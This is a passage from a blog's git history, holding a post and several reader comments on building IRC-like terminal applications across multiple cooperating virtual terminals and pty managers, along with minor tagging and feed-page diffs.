+Here `addr` is the address of the pty, eg "irc-client.channel.#haskell",
+and any parent address is automatically prefixed to it.
+
+The implementation of these would use the socket environment variable to
+send requests to the pty manager. Mm, fd passing..
+"""]]

comment
diff --git a/blog/entry/multi-terminal_applications/comment_3_f9553873da665f964496b7fe9fd5f889._comment b/blog/entry/multi-terminal_applications/comment_3_f9553873da665f964496b7fe9fd5f889._comment
new file mode 100644
index 0000000..98490c0
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_3_f9553873da665f964496b7fe9fd5f889._comment
@@ -0,0 +1,10 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 3"""
+ date="2016-12-27T23:23:10Z"
+ content="""
+Trying `st` with my ad-hoc benchmark, it managed to scroll around 4
+thousand lines without noticable flicker. But I don't think `st` has a
+scroll buffer. Running `screen` in it to buffer the scrollback slowed
+it down to around 1-2 thousand lines, so comprable to vte.
+"""]]
diff --git a/blog/entry/multi-terminal_applications/comment_4_ff1585b0d30d05f0f8936bc8fa50a13f._comment b/blog/entry/multi-terminal_applications/comment_4_ff1585b0d30d05f0f8936bc8fa50a13f._comment
new file mode 100644
index 0000000..2c9c5dc
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_4_ff1585b0d30d05f0f8936bc8fa50a13f._comment
@@ -0,0 +1,53 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 4"""
+ date="2016-12-27T23:24:57Z"
+ content="""
+@josh interesting thoughts..
+
+A pty-management library does seem like a good idea. There could be
+different pty-manager commands that open xterms, open screen
+buffers, etc. So the user runs something like:
+
+	in-xterms irc-client
+
+	in-screen irc-client
+
+And irc-client could also be run in any shell that was started inside a
+pty-manager, talking to the outer pty-manager.
+
+When the irc-client opens a pty, in-xterms would need to use something 
+like `xterm -e connect-pty` to open a new xterm connected back to that pty.
+But when the irc-client runs the mail-client, in-xterms can just run 
+`xterm -e mail-client` and doesn't need to relay. 
+
+(Leaving aside for the momemnt the problem that xterm -e does not propigate
+the exit status of the program it runs to its caller..)
+
+While connect-pty would have some copying and syscall overhead
+(probably similar to `screen`), if a program found that excessive, it could
+run a child process, which would be connected up directly to the terminal
+(in the in-xterms case). That also provides a workaround for the singleton
+termnal in curses libraries.
+
+As well as an environment variable containing the socket of the
+pty-manager, there could be one containing the address of the pty. If an
+irc-client opens a new pty to run a mail client, the mail client would see
+an address of eg "irc-client.mail-client", and it can use that address when
+it opens a new pty for an editor, so the editor gets an address of eg
+"irc-client.mail-client.editor". The pty manager can see a whole tree:
+
+	irc-client.channellist
+	irc-client.#haskell
+	irc-client.#haskell.userlist
+	irc-client.mail-client
+	irc-client.mail-client.message.happy new year
+	irc-client.mail-client.editor.file.tmpmsg
+	irc-client.mail-client.editor.help-window
+	irc-client.mail-client.editor.shell
+
+Such human-friendly names in a tree would be useful for
+interactively managing ptys and could also inform tiling layouts.
+It also lets the pty manager set the default window title/screen
+buffer name to something reasonable.
+"""]]

Added a comment
diff --git a/blog/entry/multi-terminal_applications/comment_2_053b5c92c394c8689fbc65e38227fd4b._comment b/blog/entry/multi-terminal_applications/comment_2_053b5c92c394c8689fbc65e38227fd4b._comment
new file mode 100644
index 0000000..3065787
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_2_053b5c92c394c8689fbc65e38227fd4b._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="josh@ccccabe84317e1b7429fd465de0b38fd54925dea"
+ nickname="josh"
+ avatar="http://cdn.libravatar.org/avatar/1bd07f791d8ed5989a92790b0a1f9ea4"
+ subject="comment 2"
+ date="2016-12-27T21:34:50Z"
+ content="""
+I like the idea of unifying terminals, editors, IRC clients, mail clients, and other things that need multiple windows (whether tiled, tabbed, or just switched between).  I don't know that I'd want to use terminal scrollback for that (I prefer editor-style or screen-style buffers with scroll positions), but many aspects of all those programs overlap.  I can see why people use Emacs for everything, and I hope to see vim/neovim go in the same direction now that both have introduced coprocess support.
+
+Editor buffers work nicely as a generalization, but they don't fit perfectly.  For instance, embedding a shell in an editor needs to disable some of the editing functions for part but not all of the buffer.  You want to use the editor to edit the next command line, but treat the prompt before it as read-only.  (But you can use editor functions to search and copy text.)
+
+I'd love to have a \"libtmux\" or \"libscreen\" that applications can embed.  But I'd also like those applications to cooperate within a single thing that behaves like screen/tmux/vim, not to each have their own.  What would such an abstraction look like?
+
+What about a multi-pty-management library that can delegate to an outer multi-pty-management application.  Imagine a library that lets you manage a pile of independent terminal-like buffers, and manage them like screen/tmux within a normal containing terminal.  However, that library can also recognize when run inside an application that can handle such buffers itself (such as via an environment variable providing a communication socket).  In that case, it'll contact that application, and delegate pty management to that application.  The application can then logically group the buffers from each application together, and provide various functions for navigation, tiling, tabbing, switching, scrolling, searching, etc.
+"""]]

Added a comment: Cool, yes, technical limitations
diff --git a/blog/entry/multi-terminal_applications/comment_1_cb80cbb6515065e1d5d10e0af1fb4dc7._comment b/blog/entry/multi-terminal_applications/comment_1_cb80cbb6515065e1d5d10e0af1fb4dc7._comment
new file mode 100644
index 0000000..f09a6cf
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_1_cb80cbb6515065e1d5d10e0af1fb4dc7._comment
@@ -0,0 +1,12 @@
+[[!comment format=mdwn
+ username="JasonWoof"
+ avatar="http://cdn.libravatar.org/avatar/26d091a5db7b2fbea266e0a5d853affd"
+ subject="Cool, yes, technical limitations"
+ date="2016-12-27T20:00:40Z"
+ content="""
+Firstly: yes, please :-) I've been using nmh for email lately and I love that I can open up a terminal and find something in my email archive for example, without disturbing the email I'm composing, or my inbox emptying process. Being able to connect multiple terminals is somewhat analogous to opening multiple tabs in the browser to the same webapp.
+
+Second, odd that so many terminal emulaters are so slow. I run st (suckless terminal) and it seems to be able to handle about 100,000 lines of output per second (my notes file a few times over, no escape codes but some unicode) on my 6 year old desktop.
+
+Third, most tiling window managers wreak havoc on existing output in terminals, even if they only resize it vertical dimension of the terminals. Tabbed should work fine though.
+"""]]

blog update
diff --git a/blog/entry/multi-terminal_applications.mdwn b/blog/entry/multi-terminal_applications.mdwn
new file mode 100644
index 0000000..116fd8c
--- /dev/null
+++ b/blog/entry/multi-terminal_applications.mdwn
@@ -0,0 +1,103 @@
+While learning about and configuring weechat this evening, I noticed a lot
+of complexity and unsatisfying tradeoffs related to its UI, its mouse
+support, and its built-in window system. Got to wondering what I'd do
+differently, if I wrote my own IRC client, to avoid those problems.
+
+The first thing I realized is, **it is not a good idea to think about
+writing your own IRC client**. Danger will robinson..
+
+So, let's generalize. This blog post is not about designing an IRC client,
+but about exploring simpler ways that something like an IRC client
+might handle its UI, and perhaps designing something general-purpose that
+could be used by someone else to build an IRC client, or be mashed up with
+an existing IRC client.
+
+What any modern IRC client needs to do is display various channels to the
+user. Maybe more than one channel should be visible at a time in some kind
+of window, but often the user will have lots of available channel and only
+want to see a few of them at a time. So there needs to be an interface for
+picking which channel(s) to display, and if multiple windows are shown, for
+arranging the windows. Often that interface also indicates when there is
+activity on a channel. The most recent messages from the channel are
+displayed. There should be a way to scroll back to see messages that have
+already scrolled by. There needs to be an interface for sending a message
+to a channel. Finally, a list of users in the channel is often desired.
+
+Modern IRC clients implement their own UI for channel display, windowing,
+channel selection, activity notification, scrollback, message entry, and
+user list. Even the IRC clients that run in a terminal include all of that.
+But how much of that do they need to implement, really?
+
+Suppose the user has a tabbed window manager, that can display virtual
+terminals. The terminals can set their title, and can indicate when there
+is activity in the terminal. Then an IRC client could just open a bunch of
+terminals, one per channel. Let the window manager handle channel
+selection, windowing (naturally), and activity notification. 
+
+For scrollback, the IRC client can use the terminal's own scrollback
+buffer, so the terminal's regular scrollback interface can be used. This is
+slightly tricky; can't use the terminal's alternate display, and have to
+handle the UI for the message entry line at the bottom.
+
+That's all the UI an IRC client needs (except for the user list), and most
+of that is already implemented in the window manager and virtual terminal.
+So that's an elegant way to make an IRC client without building much new UI
+at all.
+
+But, unfortunately, most of us don't use tabbed window managers (or tabbed
+terminals). Such an IRC client, in a non-tabbed window manager, would be a
+many-windowed mess. Even in a tabbed window manager, it might be annoying
+to have so many windows for one program.
+
+So we need fewer windows. Let's have one channel list window, and one
+channel display window. There could also be a user list window. And there
+could be a way to open additional, dedicated display windows for channels,
+but that's optional. All of these windows can be seperate virtual
+terminals.
+
+A potential problem: When changing the displayed channel, it needs
+to output a significant number of messages for that channel,
+so that the scrollback buffer gets populated. With a large number of lines,
+that can be too slow to feel snappy. In some tests, scrolling 
+10 thousand lines was noticiably slow, but scrolling 1 thousand lines
+happens fast enough not to be noticiable.
+
+(Terminals should really be faster at scrolling than this, but they're still 
+[writing scrollback to unlinked temp files](http://www.climagic.org/bugreports/libvte-scrollback-written-to-disk.html).. sigh!)
+
+An IRC client that uses multiple cooperating virtual terminals, needs a way to
+start up a new virtual terminal displaying the current channel. It could
+run something like this:
+
+	x-terminal-emulator -e the-irc-client --display-current-channel
+
+That would communicate with the main process via a unix socket to find out
+what to display.
+
+Or, more generally:
+
+	x-terminal-emulator -e connect-pty /dev/pts/9
+
+`connect-pty` would simply connect a pty device to the terminal, relaying
+IO between them. The calling program would allocate the pty and do IO to
+it. This may be too general to be optimal though. For one thing, I think
+that most curses libraries have a singleton terminal baked into them, so it
+might be hard to have a single process control cursors on multiple pty's.
+And, it might be innefficient to feed that 1 thousand lines of scrollback
+through the pty and copy it to the terminal.
+
+Less general than that, but still general enough to not involve writing an
+IRC client, would be a library that handled the irc-client-like channel
+display, with messages scrolling up the terminal (and into the scrollback
+buffer), a input area at the bottom, and perhaps a few other fixed regions
+for status bars and etc.
+
+Oh, I already implemented that! In [[code/concurrent-output]],
+over a year ago: [[a_tiling_region_manager_for_the_console]]
+
+I wonder what other terminal applications could be simplified/improved
+by using multiple terminals? One that comes to mind is mutt, which has
+a folder list, a folder view, and an email view, that all are
+shoehorned, with some complexity, into a single terminal.
+
+[[!tag wishlist]]

add more to haskell feed
diff --git a/blog/entry/PoW_bucket_bloom.mdwn b/blog/entry/PoW_bucket_bloom.mdwn
index 91b91fe..6a87a44 100644
--- a/blog/entry/PoW_bucket_bloom.mdwn
+++ b/blog/entry/PoW_bucket_bloom.mdwn
@@ -99,3 +99,5 @@ from flooding so many requests that legitimate clients are forced to do
 an expensive proof of work and then time out waiting for the server. But
 that's an expensive attack to keep running, and the proof of work can 
 be adjusted to make it increasingly expensive.
+
+[[!tag haskell]]
diff --git a/blog/entry/keysafe_alpha_release.mdwn b/blog/entry/keysafe_alpha_release.mdwn
index c9787ee..4ef5781 100644
--- a/blog/entry/keysafe_alpha_release.mdwn
+++ b/blog/entry/keysafe_alpha_release.mdwn
@@ -31,3 +31,5 @@ quick Haskell interface to the C version of the zxcvbn password strength
 estimation library.
 
 PS: Past 50% of my goal on [Patreon](https://www.patreon.com/joeyh)!
+
+[[!tag haskell]]
diff --git a/blog/entry/twenty_years_of_free_software_--_part_12_propellor.mdwn b/blog/entry/twenty_years_of_free_software_--_part_12_propellor.mdwn
index 399a682..749bcd4 100644
--- a/blog/entry/twenty_years_of_free_software_--_part_12_propellor.mdwn
+++ b/blog/entry/twenty_years_of_free_software_--_part_12_propellor.mdwn
@@ -42,3 +42,5 @@ Propellor's core data types have evolved much more than in any program I
 worked on before. That's exciting!
 
 Next: [[twenty_years_of_free_software_--_part_13_past_and_future]]
+
+[[!tag haskell]]
diff --git a/blog/entry/twenty_years_of_free_software_--_part_13_past_and_future.mdwn b/blog/entry/twenty_years_of_free_software_--_part_13_past_and_future.mdwn
index c411b1f..4fee31f 100644
--- a/blog/entry/twenty_years_of_free_software_--_part_13_past_and_future.mdwn
+++ b/blog/entry/twenty_years_of_free_software_--_part_13_past_and_future.mdwn
@@ -28,3 +28,5 @@ and *wham* got hit by the type theory bus. And now I see that I was stuck
 in a rut before, and begin to get a feeling of many new possibilities.
 
 That's a good feeling to have, twenty years in.
+
+[[!tag haskell]]

oldest first
diff --git a/blog/haskell.mdwn b/blog/haskell.mdwn
index 5fb8f8f..65c767b 100644
--- a/blog/haskell.mdwn
+++ b/blog/haskell.mdwn
@@ -1,4 +1,4 @@
-Haskell-related posts to [[Joey]]'s [[blog]].
+Haskell-related posts to [[Joey]]'s [[blog]], oldest first.
 
 [[!inline pages="blog/entry/* and link(haskell) and !*/Discussion" show=0
 reverse=yes]]